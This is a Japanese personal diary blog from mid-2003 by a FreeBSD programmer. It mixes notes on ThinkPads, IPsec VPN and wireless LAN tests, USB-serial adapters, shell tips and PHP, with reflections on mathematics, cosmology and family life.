なのだそうです。さすがに今回はプロトコルの改善による速度向上は期待していないのですが、モデムの性能向上による速度向上はちょっとだけ期待しているのです。いずれにしても、たいしたことないのは分かっているのですが...。今の速度で困ってないし。それより、とある人のお話のうけうりなのですが、 SDSL で上り下りとも安定して 2Mbps 程度の速度がでてくれれば一番良いと思います。
＃それはそうと、最近マンションで YahooBB な人が増えるたびに
＃少しずつ遅くなってる気がする。不愉快ですな(-_-)。
好評だった赤ぽっちん
会社の I さんのノート PC は ThinkPad 600 シリーズでして、今となりましては、若干のパワー不足は否めませんが、非常に上手に使いこなされているのです。それはともかくとして、赤ぽっちんですよ、赤ぽっちん(^^;。なんと購入してから一度も交換したことがないということなのです。たしかに触ってみると、だれかの頭のようにつるんつるんで非常に使い勝手が良くないのです。そこで、それなりに在庫がある旧式赤ぽっちんを差し上げたところ、
赤ぽっちんってざらざらしていて滑らなくって、使いやすいのですね～
というありがたきご感想。やはり半年か一年に一度くらいは取り替えてあげた方がよろしいと思うのであります。
USB 扇風機 at ローソン
昨日暑くて仕方がないので、ローソンに氷を買いにいったのですが、なんと USB 扇風機を売っていました(^^;。~~ねたのために~~研究のために一つ買おうかと思いましたが、さすがに X24 の USB に挿すのもなんだな～、と考えまして思いとどまったのです。ちなみにお値段は七百円台でありました。

2003年7月5日(土)

猫森集会先行予約申込書を書く
今年は振り込み用紙が一枚なので楽ですね～。全日分予約ですが、仕事の関係で果して何日行けることやら。来週早々振り込みです。
猫森集会ネット予約
やはり、私だけが出来なかったのではなかったのですね(^^;。どうして、抽選だけという、回りくどいことをするのかな、と思っていましたが、あれではお金がらみの本当の注文など恐ろしくてできませんね。それでもファンにとっては、チケットが入手できるかどうかは、非常に重大な問題ですので、とても罪作りなシステムであると思います。プログラムが稚拙であるのは、よくある話なのですが、それを無理に運用ベースにのせてしまった部分で、管理者の責任は大きいと思います。
数学挫折への道程
えーっと、何度も書いていますように、学生時代数学を専攻しておりました。それで、数学を専攻するなどという酔狂な人は滅多にいない訳でありまして、数学教室(私の大学では一学年 45人)には、高校時代、「あんたすうがくできるな～」と称賛されていたと思われる人が集まってくるわけであります。
そこで、大学を卒業するときは、さぞかし数学ができるようになるんだろうな～、と思われる人も多いかも知れませんが、実を言いますと、大学を卒業するときに、入学時より出来るようになっていると思われる人は 5人位だったりします(^^;。
挫折のパターンを分類いたしますと、
- はなから勉強する気がない。これで 50% 脱落。残り 23人。
- 形式的な論理を解釈しすぎて分からなくなる。例えば
 A ならば B
 (not A) or B
 
 の同値性を何度説明しても分かってもらえない。3% 脱落。残り 21人。
- Epsilon-delta 論法で挫折。これはかなり多いですね。たしか、一ヶ月間一日 10時間くらいこればっかり考えて、やっと少し理解出来た気分になった記憶があります。ちなみに Epsilon-delta 論法とはどういうものかと言いますと、
 実関数 f が、点 x0 で連続とは、
 任意の正の数 Epsilon>0 に対して、これまた正の数 Delta>0 が存在して
 |x - x0|<Delta ならば |f(x) - f(x0)|<Epsilon
 という感じで、さらに、一様連続という概念があったり、これを一般の位相空間とか一様空間に拡張する必要がありまして、初等的なのではありますが、初学者にはなかなか抽象度が高いのであります。20% 挫折。残り 13人。
- 初等的な抽象代数で挫折。こちらも初学者には抽象度が高いので、油断しているとすぐに分からなくなります。ただし、上記の難関を乗り越えた人は、この段階ではあんまり挫折しません。2% 位ですね。残り 12人。
あとの数パーセントは、個人個人の能力や、生活上の理由、性格上の理由、その他色々なパターンで挫折してゆくのです。このレベルになりますと、挫折にも納得できる事情や複雑な事情、同情を禁じ得ない事情等がありまして、涙なしにな語れなかったりします。
ちなみに、最後の 5人には入れたと思うのですが、最終的に私の挫折した理由を書きますと、
- そもそも才能がなかった。これが一番。
- 大学に入って 2年間位張り切りすぎて勉強しすぎた。毎日 10時間以上勉強していたはず。それで、肝心の 3年生位になって疲れてしまった。
- 日本語ができなかった。
- 基礎論や代数にのめりこみ過ぎて、解析の勉強がおろそかであった。特に計算を馬鹿にしていたのが致命的であったと思う。
数学という学問は厳しいところがありまして、どんなに出来る学生でも、一度分からなくなったら絶対に復活できません。そういう意味では、楽しむにはなかなかよろしいのですが、プロになるのはなかなか難しい学問なのです。

2003年7月4日(金)

毒王
今日はとなりの席の人と、向かいの席の人がお休み。しかも、後ろの席の人も気分が悪くなりて早退です。もしかして、わたしは毒王なのか。
猫森集会申し込み
うーむ、今回は一枚の振り込み用紙にまとめて書いてよいのですかねぇ。もしそうだとすると、とっても助かります。インターネット申し込みはぼろぼろですが、こちらの制度改正は非常にありがたいのです。
IPsec ではまる
世の中には支店間の VPN を景気良く設定している方もいらっしゃる様ですが、私が勤めている会社にもいくつか支所がありまして、Linux 箱で作られた IPsec VPN 機能付きルーターで接続されているのです。それで、今度兄弟会社みたいな会社さまにも ADSL が導入されたということで、そちらさまとも VPN 接続で情報を共有しよう、ということになったのです。条件としましては、
- 相手様は、動的 IP な ADSL で Dynamic DNS もなし。
- こちらは光接続の固定 IP アドレスあり。
ということで、IPsec って片方が固定でない場合でも大丈夫なのかな～、とちょっと心配だったのですが、マニュアルをみると大丈夫そうでして、うまいこと社内にテスト用 ADSL 回線が一つあったので、そこに Linux 箱を繋いで、 X24 の Ethernet 側をぶら下げます。一方、無線側はいつもの通り、通常の社内 LAN に向けておいて、すでに動作している社内ルーターと新規ルーターをブラウザで同時に設定です。ところが IPsec は昔 kernel レベルでなめたこともあるので、簡単に動かせるであろうと安易に考えていたのですが全然繋がらないのです(^^;。
例のごとくの綴り間違いとか細かいミスをちょこちょこ直してもなかなかうまくいかずに困り果てていたのですが、考えてみると IKE パケット(UDP ポート 500 番)と ESP パケット(暗号化された IP パケット)は TCP とは無関係なので、NAT 的フィルタリングの対象からはずしてあげないといけないと気が付きまして、その設定をしたら簡単に開通しました。いやはや IPsec の設定をすると自動的に通過させてくれるのかと思っていましたが、違うのですね(^^;。
こうして書くと簡単そうですが、最初に ADSL をプロバイダーに繋ぐときのパスワードからして写し間違えていたりして、なんのかんので 4時間位かかってしまいました。本日設定済のルーターを現地に送れば大丈夫でしょう。
＃「現地と電話で設定」しなくてよかったです。
＃おそらく一日では終わらなかったでしょう(^^;。

2003年7月3日(木)

MC 来たる
奧さまからメールありて、MC が届いたとのこと。週末は郵便振り込みの用紙書きですな。
デビュー30周年記念CD企画
わたしも Joe さんのページを見て、うたたさんとおんなじことを考えたのです。猫森の場所のすぐ下に書いてありますからね。まさか、「そっくりハウス」のことだったということは...(^^;。
ちなみにネット予約ですが、いつの間にかログインはできるようになったのですが、こんどはチケットのボタンを押すと「お会計」ボタンが出て、押すと空白の画面がでます(^^;。それで戻って次の日のボタンを押すと、一個申し込みが増えていたりします。一応全部の日にちのボタンを押したので、これで抽選の対象になったのかと思って、ログインし直すと情報が全部消えていたりします。はっきり言いまして、最低のシステムですな(-_-)。一応インターネット分は全部キャンセルして下さい、とメールしました。

2003年7月2日(水)

沿線火災でＪＲ南武線、一時運転見合わせ
家に帰るとき、この事故で登戸止まりになった電車に乗ったのです。まさに危機一髪でしたな(^^;。
ザウルスのペンを落す
昨日の帰りになくなってしまいました(^^;。とりあえず、会社の SL-C700 のを拝借です。
Dirac の Delta function
ちょっと Fourier 解析関連の書物を読んでいたら、Dirac の Delta function というのが出てきました。定義は、
Delta(x) = Infinity (x=0)
Delte(x) = 0 (x!=0)
Integrate(Delta(t),t,t は 0 の近傍) = 1
という感じなのですが、誰でも知っているように(普通知らないか^^;)、このような関数は存在しません。ところが、全然詳しくないのですが、インパルス応答の理論(らしきもの)でこういう関数もどきを使うと物事がうまく進むらしいのですね～。後にロラン・シュワルツにより、Delta function の実体は「超関数(distribution,hyper function)」ということが示されたのですが、これは一種の密度であり、ちょっとラドン測度に似た面を持っています。たしか、
- ラドン測度は「コンパクト台の連続関数」
- 超関数は「無限回微分可能な急減少関数」
への線型作用素の極限の様なもので定義されるのだったと記憶しております。いずれにしても、わたくしのような人が、こういう「役にたたない」部分を勉強し始めると、すぐに 2週間くらい経過してしまって、しかも、上記の 2つの違いが良く分からなくて、さらに実際の計算は一度もやる時間がなくなったりします。このあたりが才能の限界というところなのでしょう。いずれにしても、計算能力は非常に大切で、数学を楽しみで勉強する場合はともかくとして、職業数学者になるためには、数値計算だけとは限りませんが、強靭な計算力は必須と考えます。

2003年7月1日(火)

打鍵トレーナー
247 10ミス位が限度ですね～。
270 位だと一位を狙いに行くのですが、これだけ差があると無理でしょうね。
猫森集会のチケットをネットで先行予約
と思ったら、認証で拒絶されます。うーむ、今回の予約専用のパスワードが MC に入ってくるのか、はたまたバグなのか。いずれにしても、例のごとく説明不足ですな。
＃先行予約以外の部分には同じユーザー ID とパスワードで入れるので、
＃間違ってはいないと思うのですが。
＃一応質問メール出しました。

2003年6月30日(月)

猫森集会
谷山浩子さんの猫森集会の日程が決まりましたね。今年は去年以上の強行日程です。仕事が一番忙しくなる時期なので、あんまり行けないかも知れませんが、チケットは全部押さえる予定です。
谷山浩子さんのページ更新。
ちゃんと動いた USB/RS232C コンバーター
会社でさっそく組み込みコンピューターに接続してみましたが、全然繋がらなかったのです(-_-)。1分位悩みましたが、単なるクロスとストレートのケーブル間違いでした。順調に動作しております。これでげたともしばらくお別れだと思うのですが、考えようによっては、USB/RS232C コンバーター(もいっこ買えば)で 2ポート、げたで 1ポート、と合計 3ポート使用できる訳で、その様な状況に陥らないことを望むばかりであります(^^;。
リダイレクション記号
昨日何気なく stty コマンドを書いたのですが、リダイレクションの記号 '<' の位置が変っているな～、と思われた方もいらっしゃるかも知れません。意外と知られていない事実なのですが、リダイレクション記号はどこに書いても良いのです。
$ ps a >tmp xc
$ </tmp/foo cat
$ >/tmp/bar cat </tmp/foo -n
等々、ほとんど意味不明な記述が可能なのです。
PHP の fread
たかたにさんのところの情報によりますと、PHP のバージョンアップにともない、fread の仕様が変更になったとのことです。わたしは PHP を(人様に教えて頂いた以外は)一度も使ったことがないのですが、この仕様変更の方式はちょっとまずいかな～、と思ったりするのです。fread のシンタックスは、
string fread(resource handle, int length)
でして、おおざっぱに書きますと、おそらく古い仕様では、
fread は handle に結び付けられた stream から EOF まで、もしくは最大 length バイト読み込む。
であったのが、
fread は handle に結び付けられた stream から最大 length バイト読み込む。
に変更されたのだと思います。うーむ、仕様の変更自体は正しい方向に向かっていると考えますが、急にこの変更をおしつけられた場合、コーディング自体は面倒な方向に向かうので、困る人も多いと思います。自分で書かれる方は問題ないのでしょうが、人様からもらって、意味もわからずに使っている場合、本当にお手上げしょうね。
こういう場合、例えば sfread という新しい関数を提供して、それを新しい仕様として、古い関数の使用は推奨しない、などとするほうが良いと思います。それが無理であるならば、せめて古い関数と互換のラッパ─関数を提供する等の方法を考えて欲しいですな。

2003年6月29日(日)

マンションの総会
あまりにたいくつなのと、眠いので、今年は奧さまに行ってもらいました。
USB-RSAQ2
さきほど到着しました。残念ながら自宅には RS232C を接続する機器がないので、テストはできないのですが、kernel にオプションを追加するか、 uplcom.ko を kldload することにより、/dev/ucom0 に cat しても文句を言われないので、大丈夫でしょう。認識すると次の表示が出ます。
uplcom0: Prolific Technology PL2303 Serial adapter
(IODATA USB-RSAQ2), rev 1.10/0.01, addr 2

それから FreeBSD の場合、普通のシリアルポートの場合、/dev/cuaa0 に付随した制御デバイスとして /dev/cuaia0 /dev/cuala0 なるデバイスが存在しまして、外側から、
# stty </dev/cuaia0 115200
# stty </dev/cuala0 115200
などという方法で、設定を永続化可能なのですが、USB シリアルデバイスの場合、そういう機構は実装されていないようです。ちょっと不便ですな。stty に exec オプションがあればよいと思うのですが。

2003年6月28日(土)

USB/RS232C コンバーター
これからますます RS232C ポートを使用する頻度が増えそうなのですが、いちいち X24 にげたをはかせるのも面倒だし、使い勝手が悪いのです。なにかいいものないかな～、と探していたら、こういうのがあるのですねー。しかも、こちらのページによりますと 4.X 系の FreeBSD でも問題なく動作するそうな。早速購入です。
夏場に弱いかソフトドーム
ソフトドーム型赤ぽっちんを昨日から使用していています。指先もあんまり痛くならず非常に使い勝手がよいのですが、指先が汗ばんでいたりして、濡れていると滑りやすくなり、マウスポインタが非常に動きにくくなる場合があるようです。旧式との優劣は難しいところですな。冬場に使った方が良いかも。
訂正
昨日の宇宙に関する認識の感想記事で、宇宙の膨張率が調整されている、という例はちょっと考えると非常に不適切でして、実際都合が良すぎる値であることは確かなのですが、「都合が良すぎるから」インフレーション理論が提唱されたのであり、調整ではなく説明可能な値なのです。従って、都合良く調整されたとしか考えられない物理量の例としては、
- 普通に認識可能な次元が空間的に 3次元。
- 重力、弱い力、電磁気力、強い力の比率。
- 電子の質量と陽子の質量の比率。
等の方が適切でありました。

2003年6月27日(金)

赤ぽっちん交換
最近ノート PC での作業量が多すぎるせいか、旧式赤ぽっちんではちょっと指が痛いのです。それで、とあるルートから入手いたしました、ソフトドームに交換です。
むむむっ
やはり申し込んでしまいました。ねたのため、いやいやもちろん研究のためであります。
宇宙と数学
物理屋さんという人種は、数学屋さんに比べて「解釈」するということが好きなようでして、例えば量子論の波動関数自体は線型系であり、不確定性問題など、観測という解釈をしなければ何にもまずいことはおこらない、と思ったりするのです。
また、物理学の理論で「実験や観測と矛盾する」場合、机上の空論として棄却される場合がほとんどなのですが、もしもその理論自体が美しい場合、一つの仮想宇宙を記述するものとして、重要視されるべきものであると考えていたのです。ただ、このような考えは一昔前まであまり一般的でなかったようでして、例えば高校の頃読んだ物理の啓蒙書では、「有限時間で光が到達できない場所に関しては、観測不可能なのだから、思考の対象にするべきではない」との記述があり、かなりの違和感を感じたのは事実なのです。
ところが、最近の日経サイエンスなどの一般向け解説論文を読みますと、その風潮が大分変化してきた様でして、観測不可能な宇宙も考えて(考えざるを得ない) 、全体的に次の条件が満たされれば理論としてよろしいであろう、という傾向になってきた様であります。
- 理論として矛盾を含まない。
- 理論が美しい。
- 観測可能な宇宙を理論の一つの具体例と考えた場合に矛盾しない。
このような考えが支配的になってきたと思われる背景には、インフレーション理論により、実際の宇宙で、(光速度の限界という意味で)観測可能な部分は、信じられない位小さく!!、しかも人間が存在できるために、「調整された」としか考えられないようなパラメータが余りにも多いからだと思います。例えば宇宙の曲率膨張の増加率は、10^(-15) 程度の誤差で 1 に近くなければ、観測可能な宇宙は大昔に崩壊しているか、それとも星が出来る前に、膨張してほとんど空っぽの宇宙になってしまっているはずなのです。もちろん、観測上、この値が丁度 1 であれば、やはり観測可能な宇宙は美しい理論に支配されている、と安心できるのですが、最近の観測によると、若干膨張ぎみの方にシフトしているようでして、理論ではなく、「うまく調整されている」としか考えようがないのです。さらに、インフレーション理論の予測によると、我々の宇宙(観測不可能な部分も含む)と切り放された宇宙も、無限に存在することが示唆され、それらの宇宙では、われわれの住んでいる宇宙と同じ物理法則が成立している保証もないというのです。
もちろん、宇宙の理論やパラメタが「都合が良すぎる」説明として一番安易なのは、
どうして宇宙の性質は、私たちが生きてゆくのに、こんなに都合がよいの？
それはね、アリス、宇宙は神様がつくられた偉大なる創造物だからなの。
という説明なのですが、現代の科学者は上記の立場をとらず、
どうして宇宙の性質は、私たちが生きてゆくのに、こんなに都合がよいの？
それはね、アリス、宇宙はアリスが見ているよりはるかに広大で、アリスはとても居心地がよい場所に住んでいるからなの。
という立場をとるのは当然なのです。
上記の記述はすべて、「並行宇宙」を強く示唆するものですが、個人的には並行宇宙自体は、例のごとく物理屋さんの「過剰解釈」かな、と失礼なことを考えたりしています。ただし、現在の理論が良い方向に向かっているなと思われるのは、
実際の宇宙の法則が数学で説明できるのは、数学が宇宙を近似するのではなく、そもそも数学の法則で構成されたイデアの世界が宇宙そのものであり、我々は観測を通して、その不完全な姿である、観測可能な宇宙を認識している。
というプラトン的な宇宙観が(正しく!!)認められるようになってきた、ということなのです。また、我々が、各種の数学的な理論、特に対称性に関して、共通の認識で美しさを感じるのも、もともと数学的な美しさが宇宙そのものである、と考えれば納得がゆくのであります。
アリストテレスの「醜悪なとんでも学説」により、イデアの世界と現実の世界は、非常に長い時間対立を余儀なくされてきましたが、プラトン的な「正しく美しい」考えが、現代において復活してきたのは、非常に喜ばしいことであると考えているのです。

2003年6月26日(木)

11g VS 11b

とある理由で、社内に IEEE802.11g 対応の無線基地局(メルコの WLAG54)を導入しました。11b モードでも WEP の暗号化速度が向上しているといううわさですので、IEEE802.11b 専用基地局(WLS-L11GW)と WEP ありなしで勝負です。端末側は IEEE802.11b のみ使用します。実際は何回か計測したのですが、ほとんど値に変化がないので、代表値のみ記述します。構成は、X24 側が無線で Linux 側が Ethernet です。テスト方法は ftp で 10M バイト程度のファイルの送信であります。

基地局	送信元	送信先	WEP	速度
WLAG54(11g あり)	X24(無線)	Linux(Ether)	なし	650KB/sec
WLS-L11GW(11b のみ)	X24	Linux	なし	625KB/sec
WLAG54	Linux	X24	なし	625KB/sec
WLS-L11GW	Linux	X24	なし	595KB/sec
WLAG54	X24	Linux	あり	647KB/sec
WLS-L11GW	X24	Linux	あり	475KB/sec
WLAG54	Linux	X24	あり	450KB/sec(^^;
WLS-L11GW	Linux	X24	あり	515KB/sec

むむむむっ、WEP なしでは、心持ち IEEE802.11g 対応機種が速いのですが、ほとんど誤差の範囲なのです。それよりも、暗号化が速いと思った Linux マシンから X24 への WEP ありの転送で IEEE802.11g 機種が負けるとは意外でした。ファームに問題があるのか、FreeBSD のドライバー、もしくは X24 と相性が悪いのかは不明です。逆に復号化であんまり負荷がかからないと思われる X24 から Linux へのファイル転送で大勝しているのも謎なのです。いやはや、例のごとく無線 LAN は不思議なことが多いですな。あなどれません(^^;。

フレッツ・ＡＤＳＬモアII
青い鳥を求めて、また申し込んでしまうのでしょうな(-_-)。
学力欠如と教諭を免職・大阪
教えてもらった情報ですが、ここまで出来ないとあっぱれと言うしかないですな(^^;。
dia
Tgif を使っていたら、優秀な技術者であり英語の先生でもある会社の G さんが dia というソフトがあるのを教えて下さりました。こちらは正真正銘 Visio もどきを目指したようでして、わたくしでも、こんな感じの絵が簡単に書けまして、とても便利そうなのです。また、日本語の入力もなんとか可能なようですので、今後はこれを使うことになるとおもいます。ちなみに依存関係が非常に多く、インストールに 1時間位かかってしまいました。

2003年6月25日(水)

~~ついに~~はやくも断念おこづかい帳
ちょっとつけ忘れるとわけが分からなくなって、もう収集がつかなくなってしまいました(^^;。一週間という短い命でありました。ちなみにスケデュール帳は案外役に立っています。
LAN の不思議
私の考えが古いのだと思うのですが、最近下記のような構成が必要となり、しかもちゃんと動作するのでなんとなく不思議だなー。だけど便利だからいいのかな～、という気分なのです。簡単のために、今考えている LAN を 192.168.1.0/24 とします。
1. Windows(XP)マシンで 2つのネットワーク IF を同一の LAN に属するように出来る。192.168.1.10 と 192.168.1.11 とか。どちらを優先するかを設定できると教えて頂きました。
2. 先日あった事例で、自分が 192.168.1.10 で LAN 内に 192.168.1.11 が存在するとします。192.168.1.11 は２枚挿しで、もう一つのアドレスが 192.168.2.11 だと仮定します。さらに、192.168.1.0 と 192.168.2.0 は物理的に隔離されていて、192.168.2.0 側に 192.168.1.12 のホストが存在するとします。
```
         192.168.1.10
             |
-----------------------------------------------------------------------
                                  |
                              192.168.1.11 ipforward=1
                              192.168.2.11
                                  |
-----------------------------------------------------------------------
                                              |
                                          192.168.1.12
```
  この場合 192.168.1.10 で、
  # route add 192.168.1.12 192.168.1.11 -netmask 255.255.255.255
  とするとちゃんと 192.168.1.10 から 192.168.1.12 にパケットが届くのですね。これは経路表の優先度を考えれば出来るのは分からないではないのですが、 LAN というもののセマンティクスが分からなくなり、ちょっと混乱しております。
いずれにしても、ネットワークに関して勉強しなければいけないことはたくさんありますな。

2003年6月24日(火)

駅で転がる
いやはや、藤沢駅で濡れた階段ですべって転んでしまいました。単に転んだのならよいのですが、X24 とザウルスがカバンに入っていたので、それらを守ろうと抱え込んで、自分が一回転してしまいました。身体中どろだらけであります。
最近 ARM processor なんていじっているので、アルマジロ化しているかも知れない。
ADSL 開通
早く開通して良かったですね。山名沢湖さんのお誕生日ですし。
5年ぶりに図を書く
なんと、プログラマー生活 16年で一度しか図を書いたことがなかったのですが、今回はいろいろな事情がありまして、とうとう図をかくはめに陥りました。普通なら Visio をなんかを使うところなのでしょうが、なんと手を出したのが Tgif だったのです。いや～、最初は不便で仕方がなかったのですが、わたしの場合プロセスを楕円で表現して、中にちょこちょこ機能を書いて、矢印でプロセスの関連を結ぶだけですので、慣れればそれなりに使えるものでして、やっとプロセス関連図らしきものが出来上がったのです。例のごとく下図のように線がずれていたり、同格のプロセスが入る楕円の大きさや形が違ったりしてひどいものだったのですが、久々に図が完成して気分が良かったのです(^^;。

こちらからいろいろなパーツをダウンロードできそうです。ちなみに、こういう場合、さすがに赤ぽっちんは苦しいのです。普通のマウスの方がよろしい。

2003年6月23日(月)

首が痛くなる
購入した本は会社に常駐させて、読みたい本を持ち歩くことになりました。今日は重いのを二冊カバンに入れて出社でした。もちろん X24 もしっかり入っています。とっても重くて首が痛くなってしまいました。考えてみれば、最初から会社宛に送ってもらえば良かったのです(^^;。
ちなみに、私はとってもけちなので、版権が書いてあるページにしっかりシャチハタを押したりしています。
モカちゃん虫に刺される
昨日の午前中、モカが学校でバドミントンの練習をしていたのです。そのとき、お友達の頭に虫が止っていたので、払ってあげようとしたらしいのですが、親指の先を刺されてしまって、痛がって泣いてしまっていると連絡があったのです。モカはわりと精神的には強いところがありまして、滅多に泣かないのですが、よほど痛かったのでしょうな。
指先を虫に刺されたとなると、結構治るまで時間がかかるかと思いましたが、午後になったら腫れも引いて、もう痛くなくなったとのこと。回復が速くてよかったです。虫の種類はおそらくアブだと思うのですが正確なところは不明なのです。
ADSL 不調
朝の 3時頃に急にインターネットに接続できなくなりました。 @FreeD を X24 に挿して NTT のホームページを見ると、こんな情報が。
むむむっ、NTT からも IIJmio からも通知をもらっていないと思うのだが、もし私の見落としでないとしますと、ちょっと困りますな。

2003年6月22日(日)

阪神
ここ数年、野球では不愉快なことばかりなので、極力情報をみないようにしているのです。それでも、今年の阪神は序盤調子が良いこと位は知っていたのですが、「どうせ 6月になれば指定席にもどるであろう(^^;」、とその後野球関連の情報にはまったく接していなかったのです。
ところが、たかたにさんのところで阪神チャチャ絵がアップされたので新聞をみたら、とんでもないことになっていたのですね～。
いやはや ~~10ゲーム差~~11ゲーム差でトップとは、本当にこのまま優勝しそうですね。
ちなみに勝敗表を見ますと、横浜ベイスターズが非常に貢献している様です。感謝しなさい(^^;。
本が到着
昨日の 20時頃に注文した本ののうち Arm Architecture 関連以外の本は全部届きました。いやはや、重くてがさばることといったら。本屋さんで購入しなかったのは正解でした(^^;。
今はそのへんにころがしてありますが、今日の昼間はどこかを整理する必要があります。ただし、気に入った一冊をかばんに入れて、通勤時間に読むわけですので、ノート PC の重量と相まって首がいたくならないように注意する必要があります。
ちなみにわたくしの場合、電車で本を読むと非常に集中できて、居眠りをしたときと同様に、降りる駅を通過してしまうこともたびたびなのであります。
朝 10時頃 Arm Architecture 関連も到着。これで全部です。置場所、置場所(^^;。
意外と減らないディスク領域
ディスク領域が足りなくなったら、60G のを買っても宜しい許可が得られたので、強気になって Linux 開発環境を色々インストールしたのですが、意外と消費しないものですね。
```
[前回の df]
$ df
Filesystem  1K-blocks    Used    Avail Capacity  Mounted on
/dev/ad0s1a    257998   44216   193144    19%    /
/dev/ad0s1f  27296348 6998094 18114548    28%    /usr
/dev/ad0s1e    257998   37034   200326    16%    /var
procfs              4       4        0   100%    /proc

[今回の df]
Filesystem  1K-blocks    Used    Avail Capacity  Mounted on
/dev/ad0s1a    257998   44102   193258    19%    /
/dev/ad0s1f  27296348 7322884 17789758    29%    /usr
/dev/ad0s1e    257998   30888   206472    13%    /var
procfs              4       4        0   100%    /proc
```
というわけで、相当消費したつもりですが、たった 300Mbytes(^^;。しかも、強気な状態である、ということは 70% 位まで(さすがにこれ以上使うと ffs では効率が悪くなる)ディスクを使用する気分になれるというわけでありまして、結局引退までもつような気がします。
それよりもいま欲しいのは、ごみの様なインストールテスト用ハードディスクですな。8G 位で十分だったりします。

2003年6月21日(土)

CENTRINO の無線 LAN
CENTRINO はたしか Intel の無線 LAN 内蔵の CPU だと思うのですが、本日流れてきた [FreeBSD-users-jp 75140]によりますと、FreeBSD の wi ドライバーではサポートしていないとのことです。うーむ X31 なんかはこの CPU を使っているので、内蔵無線 LAN は動かないのでしょうね。FreeBSD も CardBus や新規のデバイスに対するサポートで、かなり苦しい状態のような気がします。
いずれにしましても、今まではろくに(全く^^)調べないでノート PC を購入して、FreeBSD が問題なく動作していたのですが、今後もし購入する場合は、綿密に調査するか、人柱をたてる(^^;必要ありそうですな。
ちなみに、この投稿をして下さった M. Warner Losh 氏は、日本の FreeBSD のメーリングリストで投稿された内容を翻訳ソフトで読んで、貴重なアドバイスをしてくださるというすばらしい方なのです。
＃むむむ、無線 LAN を導入するとはホントにねたに困りませんな。
＃毎日日記を書くには必須のアイテムだったりします(^^;。
本日届く Linux 本
Amazon から連絡がありまして、このまえ注文した Linux 本が本日届くそうです。ちなみに、あれだけの量を本屋さんで買ったら、袋がやぶけてしまいます(^^;。
いつも書いているように、問題は置場所ですな。
早くも使途不明金
おこづかい帳を使い始めてまだ一週間経過していないのに、なんと -90円もの多額使途不明金が発覚。てゆーか、どうして増えるのだろうか。今から銀行に転職するのは難しい気がします(^^;。
ところで、おうちの R30 が安定しているのは、クロックダウンしているからかも知れません。最近の PC をサーバー用途に使用するなら、少々のクロックダウンは大勢に影響ないので(^^;、設定可能ならばその方がよいと思います。

2003年6月20日(金)

埼玉
今日は埼玉のお客様のところで引き継ぎです。非常に長期間本当にお世話になりました。
人工呼吸
テレビで人工呼吸の話をしていたので、モカに「おぼれたときにパパが人工呼吸して助かるのと、そのまま死んでしまうのどっちがいやだ」と聞いたら、無言ですご～く不愉快そうな顔をしていた。その後奧さまが「パパはモカちゃんに人工呼吸してもらうのと、そのまま死んでしまうのどっちがいいの」と言ったので、もちろん「モカの人工呼吸」と答えたが、モカはますます不愉快そうな顔になったのでした(^^;。
T23 で FreeBSD-5.1
T23 はハード的には X24 に近いらしいのですが、果して FreeBSD-5.1 のインストール CD-ROM でメニューまでたどりつくのだろうか。
↑うーむ、入るのですか。ちなみに X24 は IEEE1394 の表示が出たところで止るのです。
学生の不祥事相次ぎ早大が謝罪会見
前にも書いたが、こんなことやっているのでは、学生の質も落ちるばかりですな。この大学にしろ、昔働いていた会社にしろ、上層部が犯罪や非倫理的なことを平気で行うような体質になりますと、組織の崩壊は時間の問題です。

2003年6月19日(木)

ザウルスでの掲示板書き込み
ひさびさにザウルスで掲示板書き込みをしたのですが、改行が短すぎて極めて見栄えが悪くなってしまいました(^^;。Emacs で書いたのを張り付けたときはうまくいった記憶があるので、次回からはそうします。
Tex2Word
試用版を試してみたのですが、なんとか使えるレベルになってきたようです。単体のプログラムとして動作すると思いましたら、Word のプラグインとして動作して、Word に TeX ファイルを読み込ませると自動的に Word へ変換するのです。問題点としては、
- verbatim 環境を認識せずにエラーとなる。
- 目次が生成されない。やりかたがあるのかも知れないが分からなかった。
- 上のリンクの日本の代理店のホームページをみると、いまいち本気で売りたい気持ちが伝わってこない。
- 雰囲気としては sty に対応するファイルを準備すれば、色々なマクロに対応可能なようで、上記の verbatim 環境問題も解決出来そうなのであるが、そのあたりが FAQ に記述されていないのも問題。
- 高額である。14,800円は適切な値段と思えるが、実際には MathType というソフトウエアも必要で、こちらが $249 であり、両方合わせると 5万円近くなってしまう。
いずれにしても、特に日本語に関しては、まだまだ完成度が低いと思われるので、あと一年程度様子見が必要と考えています。

2003年6月18日(水)

社内英語塾
会社の同じ部署にルーマニアの G さんという若い人がいまして、今日から毎週一回一時間位、英会話講座を開いてくれるのです。
ThinkPad X31
購入しました(^^;。といいましても、会社で納品用の購入です。それでちょっとさわった感触ですが、
- あんまり薄くない。
- キータッチは X24 よりハード。個人的には X24 の方が好き。
- 赤ぽっちんはソフトドーム。
- プリンターポートがついている。どうせならシリアルポートが欲しい(^^;。
- 形は X24の方が好み。
という感じで、イマイチ魅力を感じません。IBM のノート PC も X24 や T23 あたりが全盛期の様な気がします。本当はそれでは困るので、次のバージョンではよい製品を作って欲しいものです。特に T40 のウルトラナビの様なことは、絶対ぜったいにやってはいけないのです。
＃ちなみに「赤ぽっちん」を Google で検索すると...。

2003年6月17日(火)

押し売り教材
いやいやまだ序の口でござる。ダイレクトメールはもちろん、電話、訪問も「数打ちゃあたる」という感じで、ますますしつこくなったりします。一時間くらい相手して、そのあと断るとその人はもう来なくなります(^^;。もちろん相手のペースにはまってしまわないように注意する必要があります。
奧さまが後ろで言うには、何度はっきり断っても、おんなじ会社の別の人から電話がかかってくるそうです。ちなみに、会津若松で共働きしていたころに、中央出版さまが来られまして、
ただでさえ共働きで面倒見ないのに、この教材を使わないと子供が馬鹿になる。
と言って帰ったそうです。
失敗した FreeBSD-5.1 インストール
会社で 20G のハードディスクを借りれたので、試しに FreeBSD-5.1 を X24 にインストールしてみました。ISO-image をダウンロードして CD に焼いて、ドライブは横にあった会社の R31 のを拝借です。それで結論を申し上げますと、
CD-ROM からのブート途中のデバイスプローブで固まります(-_-)
いろいろ設定を変更してもだめなようです。うわさによりますと、T20 にはすんなり入ったそうですが、X24 は嫌われたようです。前途多難かも知れませんな。
思わぬ効果のお小遣い帳
入力するのが面倒なので、ペットボトル茶を買う回数が減ったりしています(^^;。

2003年6月16日(月)

10歳
今日はモカの 10回目の誕生日。なので、なるべく早く帰る予定。ちなみにプレゼントは、昨日一緒に買い物に行って、すでにあげてしまったのだ。
それで、8時過ぎに家に到着し、おばあちゃんにも来て頂いて、みんなで誕生日のケーキを食べました。
(おまけ。ちらかってますな^^)
ａｕ「Ｃメール」同報サービス廃止へ
